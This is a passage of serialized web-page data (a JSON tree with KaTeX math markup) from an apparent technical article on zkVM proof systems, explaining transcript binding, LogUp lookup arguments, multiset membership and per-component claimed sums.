n":110813},{"xmlns":110220,"width":110221,"height":110222,"style":110223,"viewBox":110224,"preserveAspectRatio":110225},[110814],{"type":23,"tag":110228,"props":110815,"children":110816},{"d":110230},[],{"type":23,"tag":139,"props":110818,"children":110820},{"className":110819},[2121],[110821],{"type":28,"value":2124},{"type":23,"tag":139,"props":110823,"children":110825},{"className":110824,"style":2128},[2089],[],{"type":23,"tag":139,"props":110827,"children":110829},{"className":110828},[2009,110100],[110830],{"type":23,"tag":139,"props":110831,"children":110833},{"className":110832},[2030],[110834],{"type":23,"tag":139,"props":110835,"children":110837},{"className":110836},[2035],[110838],{"type":23,"tag":139,"props":110839,"children":110841},{"className":110840,"style":110186},[2040],[110842,110854],{"type":23,"tag":139,"props":110843,"children":110844},{"style":110117},[110845,110849],{"type":23,"tag":139,"props":110846,"children":110848},{"className":110847,"style":110122},[2049],[],{"type":23,"tag":139,"props":110850,"children":110852},{"className":110851,"style":90951},[2009,19596],[110853],{"type":28,"value":91770},{"type":23,"tag":139,"props":110855,"children":110856},{"style":110117},[110857,110861],{"type":23,"tag":139,"props":110858,"children":110860},{"className":110859,"style":110122},[2049],[],{"type":23,"tag":139,"props":110862,"children":110864},{"className":110863,"style":110210},[110140],[110865],{"type":23,"tag":139,"props":110866,"children":110868},{"className":110867,"style":110216},[110215],[110869],{"type":23,"tag":32162,"props":110870,"children":110871},{"xmlns":110220,"width":110221,"height":110222,"style":110223,"viewBox":110224,"preserveAspectRatio":110225},[110872],{"type":23,"tag":110228,"props":110873,"children":110874},{"d":110230},[],{"type":23,"tag":139,"props":110876,"children":110878},{"className":110877},[19747],[110879],{"type":28,"value":1104},{"type":28,"value":110881}," are constants, so ",{"type":23,"tag":135,"props":110883,"children":110885},{"className":110884},[1981,1982],[110886],{"type":23,"tag":139,"props":110887,"children":110889},{"className":110888},[1987],[110890],{"type":23,"tag":139,"props":110891,"children":110893},{"className":110892,"ariaHidden":1993},[1992],[110894],{"type":23,"tag":139,"props":110895,"children":110897},{"className":110896},[1998],[110898,110902,110962,110967,111016],{"type":23,"tag":139,"props":110899,"children":110901},{"className":110900,"style":110095},[2003],[],{"type":23,"tag":139,"props":110903,"children":110905},{"className":110904},[2009,110100],[110906],{"type":23,"tag":139,"props":110907,"children":110909},{"className":110908},[2030,19650],[110910,110951],{"type":23,"tag":139,"props":110911,"children":110913},{"className":110912},[2035],[110914,110946],{"type":23,"tag":139,"props":110915,"children":110917},{"className":110916,"style":110113},[2040],[110918,110930],{"type":23,"tag":139,"props":110919,"children":110920},{"style":110117},[110921,110925],{"type":23,"tag":139,"props":110922,"children":110924},{"className":110923,"style":110122},[2049],[],{"type":23,"tag":139,"props":110926,"children":110928},{"className":110927,"style":93305},[2009,19596],[110929],{"type":28,"value":30973},{"type":23,"tag":139,"props":110931,"children":110932},{"style":110131},[110933,110937],{"type":23,"tag":139,"props":110934,"children":110936},{"className":110935,"style":110122},[2049],[],{"type":23,"tag":139,"props":110938,"children":110940},{"className":110939,"style":110141},[110140],[110941],{"type":23,"tag":139,"props":110942,"children":110944},{"className":110943},[2009],[110945],{"type":28,"value":110148},{"type":23,"tag":139,"props":110947,"children":110949},{"className":110948},[19753],[110950],{"type":28,"value":19756},{"type":23,"tag":139,"props":110952,"children":110954},{"className":110953},[2035],[110955],{"type":23,"tag":139,"props":110956,"children":110958},{"className":110957,"style":110161},[2040],[110959],{"type":23,"tag":139,"props":110960,"children":110961},{},[],{"type":23,"tag":139,"props":110963,"children":110965},{"className":110964},[19725],[110966],{"type":28,"value":262},{"type":23,"tag":139,"props":110968,"children":110970},{"className":110969},[2009,110100],[110971],{"type":23,"tag":139,"props":110972,"children":110974},{"className":110973},[2030],[110975],{"type":23,"tag":139,"props":110976,"children":110978},{"className":110977},[2035],[110979],{"type":23,"tag":139,"props":110980,"children":110982},{"className":110981,"style":110186},[2040],[110983,110995],{"type":23,"tag":139,"props":110984,"children":110985},{"style":110117},[110986,110990],{"type":23,"tag":139,"props":110987,"children":110989},{"className":110988,"style":110122},[2049],[],{"type":23,"tag":139,"props":110991,"children":110993},{"className":110992,"style":90951},[2009,19596],[110994],{"type":28,"value":91770},{"type":23,"tag":139,"props":110996,"children":110997},{"style":110117},[110998,111002],{"type":23,"tag":139,"props":110999,"children":111001},{"className":111000,"style":110122},[2049],[],{"type":23,"tag":139,"props":111003,"children":111005},{"className":111004,"style":110210},[110140],[111006],{"type":23,"tag":139,"props":111007,"children":111009},{"className":111008,"style":110216},[110215],[111010],{"type":23,"tag":32162,"props":111011,"children":111012},{"xmlns":110220,"width":110221,"height":110222,"style":110223,"viewBox":110224,"preserveAspectRatio":110225},[111013],{"type":23,"tag":110228,"props":111014,"children":111015},{"d":110230},[],{"type":23,"tag":139,"props":111017,"children":111019},{"className":111018},[19747],[111020],{"type":28,"value":1104},{"type":28,"value":111022}," is linear in the table values ",{"type":23,"tag":135,"props":111024,"children":111026},{"className":111025},[1981,1982],[111027],{"type":23,"tag":139,"props":111028,"children":111030},{"className":111029},[1987],[111031],{"type":23,"tag":139,"props":111032,"children":111034},{"className":111033,"ariaHidden":1993},[1992],[111035],{"type":23,"tag":139,"props":111036,"children":111038},{"className":111037},[1998],[111039,111043,111048,111053,111102],{"type":23,"tag":139,"props":111040,"children":111042},{"className":111041,"style":110529},[2003],[],{"type":23,"tag":139,"props":111044,"children":111046},{"className":111045,"style":93305},[2009,19596],[111047],{"type":28,"value":30973},{"type":23,"tag":139,"props":111049,"children":111051},{"className":111050},[19725],[111052],{"type":28,"value":262},{"type":23,"tag":139,"props":111054,"children":111056},{"className":111055},[2009,110100],[111057],{"type":23,"tag":139,"props":111058,"children":111060},{"className":111059},[2030],[111061],{"type":23,"tag":139,"props":111062,"children":111064},{"className":111063},[2035],[111065],{"type":23,"tag":139,"props":111066,"children":111068},{"className":111067,"style":110316},[2040],[111069,111081],{"type":23,"tag":139,"props":111070,"children":111071},{"style":110117},[111072,111076],{"type":23,"tag":139,"props":111073,"children":111075},{"className":111074,"style":110122},[2049],[],{"type":23,"tag":139,"props":111077,"children":111079},{"className":111078},[2009,19596],[111080],{"type":28,"value":1199},{"type":23,"tag":139,"props":111082,"children":111083},{"style":110484},[111084,111088],{"type":23,"tag":139,"props":111085,"children":111087},{"className":111086,"style":110122},[2049],[],{"type":23,"tag":139,"props":111089,"children":111091},{"className":111090,"style":110343},[110140],[111092],{"type":23,"tag":139,"props":111093,"children":111095},{"className":111094,"style":110216},[110215],[111096],{"type":23,"tag":32162,"props":111097,"children":111098},{"xmlns":110220,"width":110221,"height":110222,"style":110223,"viewBox":110224,"preserveAspectRatio":110225},[111099],{"type":23,"tag":110228,"props":111100,"children":111101},{"d":110230},[],{"type":23,"tag":139,"props":111103,"children":111105},{"className":111104},[19747],[111106],{"type":28,"value":1104},{"type":28,"value":73},{"type":23,"tag":24,"props":111109,"children":111110},{},[111111,111113,111182],{"type":28,"value":111112},"That linearity is exactly why missing transcript binding is dangerous: if ",{"type":23,"tag":135,"props":111114,"children":111116},{"className":111115},[1981,1982],[111117],{"type":23,"tag":139,"props":111118,"children":111120},{"className":111119},[1987],[111121],{"type":23,"tag":139,"props":111122,"children":111124},{"className":111123,"ariaHidden":1993},[1992],[111125],{"type":23,"tag":139,"props":111126,"children":111128},{"className":111127},[1998],[111129,111133],{"type":23,"tag":139,"props":111130,"children":111132},{"className":111131,"style":110186},[2003],[],{"type":23,"tag":139,"props":111134,"children":111136},{"className":111135},[2009,110100],[111137],{"type":23,"tag":139,"props":111138,"children":111140},{"className":111139},[2030],[111141],{"type":23,"tag":139,"props":111142,"children":111144},{"className":111143},[2035],[111145],{"type":23,"tag":139,"props":111146,"children":111148},{"className":111147,"style":110186},[2040],[111149,111161],{"type":23,"tag":139,"props":111150,"children":111151},{"style":110117},[111152,111156],{"type":23,"tag":139,"props":111153,"children":111155},{"className":111154,"style":110122},[2049],[],{"type":23,"tag":139,"props":111157,"children":111159},{"className":111158,"style":90951},[2009,19596],[111160],{"type":28,"value":91770},{"type":23,"tag":139,"props":111162,"children":111163},{"style":110117},[111164,111168],{"type":23,"tag":139,"props":111165,"children":111167},{"className":111166,"style":110122},[2049],[],{"type":23,"tag":139,"props":111169,"children":111171},{"className":111170,"style":110210},[110140],[111172],{"type":23,"tag":139,"props":111173,"children":111175},{"className":111174,"style":110216},[110215],[111176],{"type":23,"tag":32162,"props":111177,"children":111178},{"xmlns":110220,"width":110221,"height":110222,"style":110223,"viewBox":110224,"preserveAspectRatio":110225},[111179],{"type":23,"tag":110228,"props":111180,"children":111181},{"d":110230},[],{"type":28,"value":111183}," is sampled before those values are bound, an attacker can reprogram values while preserving the same evaluated claim.",{"type":23,"tag":666,"props":111185,"children":111187},{"id":111186},"lookup-arguments-logup",[111188],{"type":28,"value":111189},"Lookup Arguments (LogUp)",{"type":23,"tag":24,"props":111191,"children":111192},{},[111193],{"type":28,"value":111194},"zkVMs need to check that values satisfy certain properties. For example:",{"type":23,"tag":14699,"props":111196,"children":111197},{},[111198,111254,111259],{"type":23,"tag":801,"props":111199,"children":111200},{},[111201,111203,111253],{"type":28,"value":111202},"Is this byte in range ",{"type":23,"tag":135,"props":111204,"children":111206},{"className":111205},[1981,1982],[111207],{"type":23,"tag":139,"props":111208,"children":111210},{"className":111209},[1987],[111211],{"type":23,"tag":139,"props":111212,"children":111214},{"className":111213,"ariaHidden":1993},[1992],[111215],{"type":23,"tag":139,"props":111216,"children":111218},{"className":111217},[1998],[111219,111223,111228,111233,111238,111242,111248],{"type":23,"tag":139,"props":111220,"children":111222},{"className":111221,"style":2110},[2003],[],{"type":23,"tag":139,"props":111224,"children":111226},{"className":111225},[19725],[111227],{"type":28,"value":1723},{"type":23,"tag":139,"props":111229,"children":111231},{"className":111230},[2009],[111232],{"type":28,"value":2021},{"type":23,"tag":139,"props":111234,"children":111236},{"className":111235},[2121],[111237],{"type":28,"value":2124},{"type":23,"tag":139,"props":111239,"children":111241},{"className":111240,"style":2128},[2089],[],{"type":23,"tag":139,"props":111243,"children":111245},{"className":111244},[2009],[111246],{"type":28,"value":111247},"255",{"type":23,"tag":139,"props":111249,"children":111251},{"className":111250},[19747],[111252],{"type":28,"value":13423},{"type":28,"value":1132},{"type":23,"tag":801,"props":111255,"children":111256},{},[111257],{"type":28,"value":111258},"Does this opcode decode correctly?",{"type":23,"tag":801,"props":111260,"children":111261},{},[111262],{"type":28,"value":111263},"Is this memory access consistent with previous accesses?",{"type":23,"tag":24,"props":111265,"children":111266},{},[111267,111272],{"type":23,"tag":56,"props":111268,"children":111269},{},[111270],{"type":28,"value":111271},"The naive approach:",{"type":28,"value":111273}," Add constraints for each check. Expensive.",{"type":23,"tag":24,"props":111275,"children":111276},{},[111277,111282,111284,111289],{"type":23,"tag":56,"props":111278,"children":111279},{},[111280],{"type":28,"value":111281},"The clever approach:",{"type":28,"value":111283}," Precompute a table of valid tuples. Prove that every value the program uses appears in the table. This is a ",{"type":23,"tag":56,"props":111285,"children":111286},{},[111287],{"type":28,"value":111288},"multiset membership",{"type":28,"value":65697},{"type":23,"tag":24,"props":111291,"children":111292},{},[111293,111298],{"type":23,"tag":56,"props":111294,"children":111295},{},[111296],{"type":28,"value":111297},"LogUp (Logarithmic Derivative):",{"type":28,"value":111299}," Encode multiset membership as a sum of fractions.",{"type":23,"tag":24,"props":111301,"children":111302},{},[111303,111305,111330,111332,111359],{"type":28,"value":111304},"If set ",{"type":23,"tag":135,"props":111306,"children":111308},{"className":111307},[1981,1982],[111309],{"type":23,"tag":139,"props":111310,"children":111312},{"className":111311},[1987],[111313],{"type":23,"tag":139,"props":111314,"children":111316},{"className":111315,"ariaHidden":1993},[1992],[111317],{"type":23,"tag":139,"props":111318,"children":111320},{"className":111319},[1998],[111321,111325],{"type":23,"tag":139,"props":111322,"children":111324},{"className":111323,"style":19591},[2003],[],{"type":23,"tag":139,"props":111326,"children":111328},{"className":111327},[2009,19596],[111329],{"type":28,"value":74671},{"type":28,"value":111331}," should equal set ",{"type":23,"tag":135,"props":111333,"children":111335},{"className":111334},[1981,1982],[111336],{"type":23,"tag":139,"props":111337,"children":111339},{"className":111338},[1987],[111340],{"type":23,"tag":139,"props":111341,"children":111343},{"className":111342,"ariaHidden":1993},[1992],[111344],{"type":23,"tag":139,"props":111345,"children":111347},{"className":111346},[1998],[111348,111352],{"type":23,"tag":139,"props":111349,"children":111351},{"className":111350,"style":19591},[2003],[],{"type":23,"tag":139,"props":111353,"children":111356},{"className":111354,"style":111355},[2009,19596],"margin-right:0.05017em;",[111357],{"type":28,"value":111358},"B",{"type":28,"value":111360}," as multisets:",{"type":23,"tag":24,"props":111362,"children":111363},{},[111364],{"type":23,"tag":135,"props":111365,"children":111367},{"className":111366},[1981,1982],[111368],{"type":23,"tag":139,"props":111369,"children":111371},{"className":111370},[1987],[111372],{"type":23,"tag":139,"props":111373,"children":111375},{"className":111374,"ariaHidden":1993},[1992],[111376,111591],{"type":23,"tag":139,"props":111377,"children":111379},{"className":111378},[1998],[111380,111385,111458,111462,111578,111582,111587],{"type":23,"tag":139,"props":111381,"children":111384},{"className":111382,"style":111383},[2003],"height:1.2484em;vertical-align:-0.4033em;",[],{"type":23,"tag":139,"props":111386,"children":111388},{"className":111387},[19632],[111389,111394],{"type":23,"tag":139,"props":111390,"children":111392},{"className":111391,"style":19639},[19632,19637,19638],[111393],{"type":28,"value":106746},{"type":23,"tag":139,"props":111395,"children":111397},{"className":111396},[2025],[111398],{"type":23,"tag":139,"props":111399,"children":111401},{"className":111400},[2030,19650],[111402,111446],{"type":23,"tag":139,"props":111403,"children":111405},{"className":111404},[2035],[111406,111441],{"type":23,"tag":139,"props":111407,"children":111410},{"className":111408,"style":111409},[2040],"height:0.1786em;",[111411],{"type":23,"tag":139,"props":111412,"children":111413},{"style":19663},[111414,111418],{"type":23,"tag":139,"props":111415,"children":111417},{"className":111416,"style":2050},[2049],[],{"type":23,"tag":139,"props":111419,"children":111421},{"className":111420},[2055,2056,2057,2058],[111422],{"type":23,"tag":139,"props":111423,"children":111425},{"className":111424},[2009,2058],[111426,111431,111436],{"type":23,"tag":139,"props":111427,"children":111429},{"className":111428},[2009,19596,2058],[111430],{"type":28,"value":64},{"type":23,"tag":139,"props":111432,"children":111434},{"className":111433},[2192,2058],[111435],{"type":28,"value":19703},{"type":23,"tag":139,"props":111437,"children":111439},{"className":111438},[2009,19596,2058],[111440],{"type":28,"value":74671},{"type":23,"tag":139,"props":111442,"children":111444},{"className":111443},[19753],[111445],{"type":28,"value":19756},{"type":23,"tag":139,"props":111447,"children":111449},{"className":111448},[2035],[111450],{"type":23,"tag":139,"props":111451,"children":111454},{"className":111452,"style":111453},[2040],"height:0.3271em;",[111455],{"type":23,"tag":139,"props":111456,"children":111457},{},[],{"type":23,"tag":139,"props":111459,"children":111461},{"className":111460,"style":2128},[2089],[],{"type":23,"tag":139,"props":111463,"children":111465},{"className":111464},[2009],[111466,111471,111574],{"type":23,"tag":139,"props":111467,"children":111470},{"className":111468},[19725,111469],"nulldelimiter",[],{"type":23,"tag":139,"props":111472,"children":111475},{"className":111473},[111474],"mfrac",[111476],{"type":23,"tag":139,"props":111477,"children":111479},{"className":111478},[2030,19650],[111480,111562],{"type":23,"tag":139,"props":111481,"children":111483},{"className":111482},[2035],[111484,111557],{"type":23,"tag":139,"props":111485,"children":111488},{"className":111486,"style":111487},[2040],"height:0.8451em;",[111489,111522,111536],{"type":23,"tag":139,"props":111490,"children":111492},{"style":111491},"top:-2.655em;",[111493,111497],{"type":23,"tag":139,"props":111494,"children":111496},{"className":111495,"style":110122},[2049],[],{"type":23,"tag":139,"props":111498,"children":111500},{"className":111499},[2055,2056,2057,2058],[111501],{"type":23,"tag":139,"props":111502,"children":111504},{"className":111503},[2009,2058],[111505,111512,111517],{"type":23,"tag":139,"props":111506,"children":111509},{"className":111507,"style":111508},[2009,19596,2058],"margin-right:0.04398em;",[111510],{"type":28,"value":111511},"z",{"type":23,"tag":139,"props":111513,"children":111515},{"className":111514},[2095,2058],[111516],{"type":28,"value":2069},{"type":23,"tag":139,"props":111518,"children":111520},{"className":111519},[2009,19596,2058],[111521],{"type":28,"value":64},{"type":23,"tag":139,"props":111523,"children":111525},{"style":111524},"top:-3.23em;",[111526,111530],{"type":23,"tag":139,"props":111527,"children":111529},{"className":111528,"style":110122},[2049],[],{"type":23,"tag":139,"props":111531,"children":111535},{"className":111532,"style":111534},[111533],"frac-line","border-bottom-width:0.04em;",[],{"type":23,"tag":139,"props":111537,"children":111539},{"style":111538},"top:-3.394em;",[111540,111544],{"type":23,"tag":139,"props":111541,"children":111543},{"className":111542,"style":110122},[2049],[],{"type":23,"tag":139,"props":111545,"children":111547},{"className":111546},[2055,2056,2057,2058],[111548],{"type":23,"tag":139,"props":111549,"children":111551},{"className":111550},[2009,2058],[111552],{"type":23,"tag":139,"props":111553,"children":111555},{"className":111554},[2009,2058],[111556],{"type":28,"value":647},{"type":23,"tag":139,"props":111558,"children":111560},{"className":111559},[19753],[111561],{"type":28,"value":19756},{"type":23,"tag":139,"props":111563,"children":111565},{"className":111564},[2035],[111566],{"type":23,"tag":139,"props":111567,"children":111570},{"className":111568,"style":111569},[2040],"height:0.4033em;",[111571],{"type":23,"tag":139,"props":111572,"children":111573},{},[],{"type":23,"tag":139,"props":111575,"children":111577},{"className":111576},[19747,111469],[],{"type":23,"tag":139,"props":111579,"children":111581},{"className":111580,"style":2187},[2089],[],{"type":23,"tag":139,"props":111583,"children":111585},{"className":111584},[2192],[111586],{"type":28,"value":1067},{"type":23,"tag":139,"props":111588,"children":111590},{"className":111589,"style":2187},[2089],[],{"type":23,"tag":139,"props":111592,"children":111594},{"className":111593},[1998],[111595,111599,111671,111675],{"type":23,"tag":139,"props":111596,"children":111598},{"className":111597,"style":111383},[2003],[],{"type":23,"tag":139,"props":111600,"children":111602},{"className":111601},[19632],[111603,111608],{"type":23,"tag":139,"props":111604,"children":111606},{"className":111605,"style":19639},[19632,19637,19638],[111607],{"type":28,"value":106746},{"type":23,"tag":139,"props":111609,"children":111611},{"className":111610},[2025],[111612],{"type":23,"tag":139,"props":111613,"children":111615},{"className":111614},[2030,19650],[111616,111660],{"type":23,"tag":139,"props":111617,"children":111619},{"className":111618},[2035],[111620,111655],{"type":23,"tag":139,"props":111621,"children":111624},{"className":111622,"style":111623},[2040],"height:0.1864em;",[111625],{"type":23,"tag":139,"props":111626,"children":111627},{"style":19663},[111628,111632],{"type":23,"tag":139,"props":111629,"children":111631},{"className":111630,"style":2050},[2049],[],{"type":23,"tag":139,"props":111633,"children":111635},{"className":111634},[2055,2056,2057,2058],[111636],{"type":23,"tag":139,"props":111637,"children":111639},{"className":111638},[2009,2058],[111640,111645,111650],{"type":23,"tag":139,"props":111641,"children":111643},{"className":111642},[2009,19596,2058],[111644],{"type":28,"value":1199},{"type":23,"tag":139,"props":111646,"children":111648},{"className":111647},[2192,2058],[111649],{"type":28,"value":19703},{"type":23,"tag":139,"props":111651,"children":111653},{"className":111652,"style":111355},[2009,19596,2058],[111654],{"type":28,"value":111358},{"type":23,"tag":139,"props":111656,"children":111658},{"className":111657},[19753],[111659],{"type":28,"value":19756},{"type":23,"tag":139,"props":111661,"children":111663},{"className":111662},[2035],[111664],{"type":23,"tag":139,"props":111665,"children":111667},{"className":111666,"style":111453},[2040],[111668],{"type":23,"tag":139,"props":111669,"children":111670},{},[],{"type":23,"tag":139,"props":111672,"children":111674},{"className":111673,"style":2128},[2089],[],{"type":23,"tag":139,"props":111676,"children":111678},{"className":111677},[2009],[111679,111683,111776],{"type":23,"tag":139,"props":111680,"children":111682},{"className":111681},[19725,111469],[],{"type":23,"tag":139,"props":111684,"children":111686},{"className":111685},[111474],[111687],{"type":23,"tag":139,"props":111688,"children":111690},{"className":111689},[2030,19650],[111691,111765],{"type":23,"tag":139,"props":111692,"children":111694},{"className":111693},[2035],[111695,111760],{"type":23,"tag":139,"props":111696,"children":111698},{"className":111697,"style":111487},[2040],[111699,111729,111740],{"type":23,"tag":139,"props":111700,"children":111701},{"style":111491},[111702,111706],{"type":23,"tag":139,"props":111703,"children":111705},{"className":111704,"style":110122},[2049],[],{"type":23,"tag":139,"props":111707,"children":111709},{"className":111708},[2055,2056,2057,2058],[111710],{"type":23,"tag":139,"props":111711,"children":111713},{"className":111712},[2009,2058],[111714,111719,111724],{"type":23,"tag":139,"props":111715,"children":111717},{"className":111716,"style":111508},[2009,19596,2058],[111718],{"type":28,"value":111511},{"type":23,"tag":139,"props":111720,"children":111722},{"className":111721},[2095,2058],[111723],{"type":28,"value":2069},{"type":23,"tag":139,"props":111725,"children":111727},{"className":111726},[2009,19596,2058],[111728],{"type":28,"value":1199},{"type":23,"tag":139,"props":111730,"children":111731},{"style":111524},[111732,111736],{"type":23,"tag":139,"props":111733,"children":111735},{"className":111734,"style":110122},[2049],[],{"type":23,"tag":139,"props":111737,"children":111739},{"className":111738,"style":111534},[111533],[],{"type":23,"tag":139,"props":111741,"children":111742},{"style":111538},[111743,111747],{"type":23,"tag":139,"props":111744,"children":111746},{"className":111745,"style":110122},[2049],[],{"type":23,"tag":139,"props":111748,"children":111750},{"className":111749},[2055,2056,2057,2058],[111751],{"type":23,"tag":139,"props":111752,"children":111754},{"className":111753},[2009,2058],[111755],{"type":23,"tag":139,"props":111756,"children":111758},{"className":111757},[2009,2058],[111759],{"type":28,"value":647},{"type":23,"tag":139,"props":111761,"children":111763},{"className":111762},[19753],[111764],{"type":28,"value":19756},{"type":23,"tag":139,"props":111766,"children":111768},{"className":111767},[2035],[111769],{"type":23,"tag":139,"props":111770,"children":111772},{"className":111771,"style":111569},[2040],[111773],{"type":23,"tag":139,"props":111774,"children":111775},{},[],{"type":23,"tag":139,"props":111777,"children":111779},{"className":111778},[19747,111469],[],{"type":23,"tag":24,"props":111781,"children":111782},{},[111783,111785,111810],{"type":28,"value":111784},"for random challenge ",{"type":23,"tag":135,"props":111786,"children":111788},{"className":111787},[1981,1982],[111789],{"type":23,"tag":139,"props":111790,"children":111792},{"className":111791},[1987],[111793],{"type":23,"tag":139,"props":111794,"children":111796},{"className":111795,"ariaHidden":1993},[1992],[111797],{"type":23,"tag":139,"props":111798,"children":111800},{"className":111799},[1998],[111801,111805],{"type":23,"tag":139,"props":111802,"children":111804},{"className":111803,"style":108792},[2003],[],{"type":23,"tag":139,"props":111806,"children":111808},{"className":111807,"style":111508},[2009,19596],[111809],{"type":28,"value":111511},{"type":28,"value":111811},". If the multisets match, the sums are equal. If they differ, the sums differ with overwhelming probability.",{"type":23,"tag":24,"props":111813,"children":111814},{},[111815,111820],{"type":23,"tag":56,"props":111816,"children":111817},{},[111818],{"type":28,"value":111819},"In zkVMs:",{"type":28,"value":111821}," Different components emit and consume lookup tuples:",{"type":23,"tag":14699,"props":111823,"children":111824},{},[111825,111912],{"type":23,"tag":801,"props":111826,"children":111827},{},[111828,111830,111856,111858,111883,111885,111911],{"type":28,"value":111829},"CPU emits: \"I read value ",{"type":23,"tag":135,"props":111831,"children":111833},{"className":111832},[1981,1982],[111834],{"type":23,"tag":139,"props":111835,"children":111837},{"className":111836},[1987],[111838],{"type":23,"tag":139,"props":111839,"children":111841},{"className":111840,"ariaHidden":1993},[1992],[111842],{"type":23,"tag":139,"props":111843,"children":111845},{"className":111844},[1998],[111846,111850],{"type":23,"tag":139,"props":111847,"children":111849},{"className":111848,"style":108792},[2003],[],{"type":23,"tag":139,"props":111851,"children":111853},{"className":111852,"style":91437},[2009,19596],[111854],{"type":28,"value":111855},"v",{"type":28,"value":111857}," from address ",{"type":23,"tag":135,"props":111859,"children":111861},{"className":111860},[1981,1982],[111862],{"type":23,"tag":139,"props":111863,"children":111865},{"className":111864},[1987],[111866],{"type":23,"tag":139,"props":111867,"children":111869},{"className":111868,"ariaHidden":1993},[1992],[111870],{"type":23,"tag":139,"props":111871,"children":111873},{"className":111872},[1998],[111874,111878],{"type":23,"tag":139,"props":111875,"children":111877},{"className":111876,"style":108792},[2003],[],{"type":23,"tag":139,"props":111879,"children":111881},{"className":111880},[2009,19596],[111882],{"type":28,"value":64},{"type":28,"value":111884}," at time ",{"type":23,"tag":135,"props":111886,"children":111888},{"className":111887},[1981,1982],[111889],{"type":23,"tag":139,"props":111890,"children":111892},{"className":111891},[1987],[111893],{"type":23,"tag":139,"props":111894,"children":111896},{"className":111895,"ariaHidden":1993},[1992],[111897],{"type":23,"tag":139,"props":111898,"children":111900},{"className":111899},[1998],[111901,111906],{"type":23,"tag":139,"props":111902,"children":111905},{"className":111903,"style":111904},[2003],"height:0.6151em;",[],{"type":23,"tag":139,"props":111907,"children":111909},{"className":111908},[2009,19596],[111910],{"type":28,"value":19738},{"type":28,"value":18067},{"type":23,"tag":801,"props":111913,"children":111914},{},[111915,111917,111942,111944,111969,111971,111996],{"type":28,"value":111916},"Memory table consumes: \"At time ",{"type":23,"tag":135,"props":111918,"children":111920},{"className":111919},[1981,1982],[111921],{"type":23,"tag":139,"props":111922,"children":111924},{"className":111923},[1987],[111925],{"type":23,"tag":139,"props":111926,"children":111928},{"className":111927,"ariaHidden":1993},[1992],[111929],{"type":23,"tag":139,"props":111930,"children":111932},{"className":111931},[1998],[111933,111937],{"type":23,"tag":139,"props":111934,"children":111936},{"className":111935,"style":111904},[2003],[],{"type":23,"tag":139,"props":111938,"children":111940},{"className":111939},[2009,19596],[111941],{"type":28,"value":19738},{"type":28,"value":111943},", address ",{"type":23,"tag":135,"props":111945,"children":111947},{"className":111946},[1981,1982],[111948],{"type":23,"tag":139,"props":111949,"children":111951},{"className":111950},[1987],[111952],{"type":23,"tag":139,"props":111953,"children":111955},{"className":111954,"ariaHidden":1993},[1992],[111956],{"type":23,"tag":139,"props":111957,"children":111959},{"className":111958},[1998],[111960,111964],{"type":23,"tag":139,"props":111961,"children":111963},{"className":111962,"style":108792},[2003],[],{"type":23,"tag":139,"props":111965,"children":111967},{"className":111966},[2009,19596],[111968],{"type":28,"value":64},{"type":28,"value":111970}," contained ",{"type":23,"tag":135,"props":111972,"children":111974},{"className":111973},[1981,1982],[111975],{"type":23,"tag":139,"props":111976,"children":111978},{"className":111977},[1987],[111979],{"type":23,"tag":139,"props":111980,"children":111982},{"className":111981,"ariaHidden":1993},[1992],[111983],{"type":23,"tag":139,"props":111984,"children":111986},{"className":111985},[1998],[111987,111991],{"type":23,"tag":139,"props":111988,"children":111990},{"className":111989,"style":108792},[2003],[],{"type":23,"tag":139,"props":111992,"children":111994},{"className":111993,"style":91437},[2009,19596],[111995],{"type":28,"value":111855},{"type":28,"value":18067},{"type":23,"tag":24,"props":111998,"children":111999},{},[112000],{"type":28,"value":112001},"If everything balances, the execution is consistent.",{"type":23,"tag":24,"props":112003,"children":112004},{},[112005,112010],{"type":23,"tag":56,"props":112006,"children":112007},{},[112008],{"type":28,"value":112009},"The claimed_sum:",{"type":28,"value":112011}," Each component computes its contribution to the LogUp sum:",{"type":23,"tag":24,"props":112013,"children":112014},{},[112015],{"type":23,"tag":135,"props":112016,"children":112018},{"className":112017},[1981,1982],[112019],{"type":23,"tag":139,"props":112020,"children":112022},{"className":112021},[1987],[112023],{"type":23,"tag":139,"props":112024,"children":112026},{"className":112025,"ariaHidden":1993},[1992],[112027,112125,112376],{"type":23,"tag":139,"props":112028,"children":112030},{"className":112029},[1998],[112031,112035,112045,112050,112112,112116,112121],{"type":23,"tag":139,"props":112032,"children":112034},{"className":112033,"style":92364},[2003],[],{"type":23,"tag":139,"props":112036,"children":112038},{"className":112037},[2009,28],[112039],{"type":23,"tag":139,"props":112040,"children":112042},{"className":112041},[2009],[112043],{"type":28,"value":112044},"claimed",{"type":23,"tag":139,"props":112046,"children":112048},{"className":112047,"style":90951},[2009],[112049],{"type":28,"value":1057},{"type":23,"tag":139,"props":112051,"children":112053},{"className":112052},[2009],[112054,112063],{"type":23,"tag":139,"props":112055,"children":112057},{"className":112056},[2009,28],[112058],{"type":23,"tag":139,"props":112059,"children":112061},{"className":112060},[2009],[112062],{"type":28,"value":74536},{"type":23,"tag":139,"props":112064,"children":112066},{"className":112065},[2025],[112067],{"type":23,"tag":139,"props":112068,"children":112070},{"className":112069},[2030,19650],[112071,112101],{"type":23,"tag":139,"props":112072,"children":112074},{"className":112073},[2035],[112075,112096],{"type":23,"tag":139,"props":112076,"children":112078},{"className":112077,"style":91480},[2040],[112079],{"type":23,"tag":139,"props":112080,"children":112082},{"style":112081},"top:-2.55em;margin-right:0.05em;",[112083,112087],{"type":23,"tag":139,"props":112084,"children":112086},{"className":112085,"style":2050},[2049],[],{"type":23,"tag":139,"props":112088,"children":112090},{"className":112089},[2055,2056,2057,2058],[112091],{"type":23,"tag":139,"props":112092,"children":112094},{"className":112093},[2009,19596,2058],[112095],{"type":28,"value":1728},{"type":23,"tag":139,"props":112097,"children":112099},{"className":112098},[19753],[112100],{"type":28,"value":19756},{"type":23,"tag":139,"props":112102,"children":112104},{"className":112103},[2035],[112105],{"type":23,"tag":139,"props":112106,"children":112108},{"className":112107,"style":91034},[2040],[112109],{"type":23,"tag":139,"props":112110,"children":112111},{},[],{"type":23,"tag":139,"props":112113,"children":112115},{"className":112114,"style":2187},[2089],[],{"type":23,"tag":139,"props":112117,"children":112119},{"className":112118},[2192],[112120],{"type":28,"value":1067},{"type":23,"tag":139,"props":112122,"children":112124},{"className":112123,"style":2187},[2089],[],{"type":23,"tag":139,"props":112126,"children":112128},{"className":112127},[1998],[112129,112134,112194,112198,112363,112367,112372],{"type":23,"tag":139,"props":112130,"children":112133},{"className":112131,"style":112132},[2003],"height:1.3874em;vertical-align:-0.5423em;",[],{"type":23,"tag":139,"props":112135,"children":112137},{"className":112136},[19632],[112138,112143],{"type":23,"tag":139,"props":112139,"children":112141},{"className":11214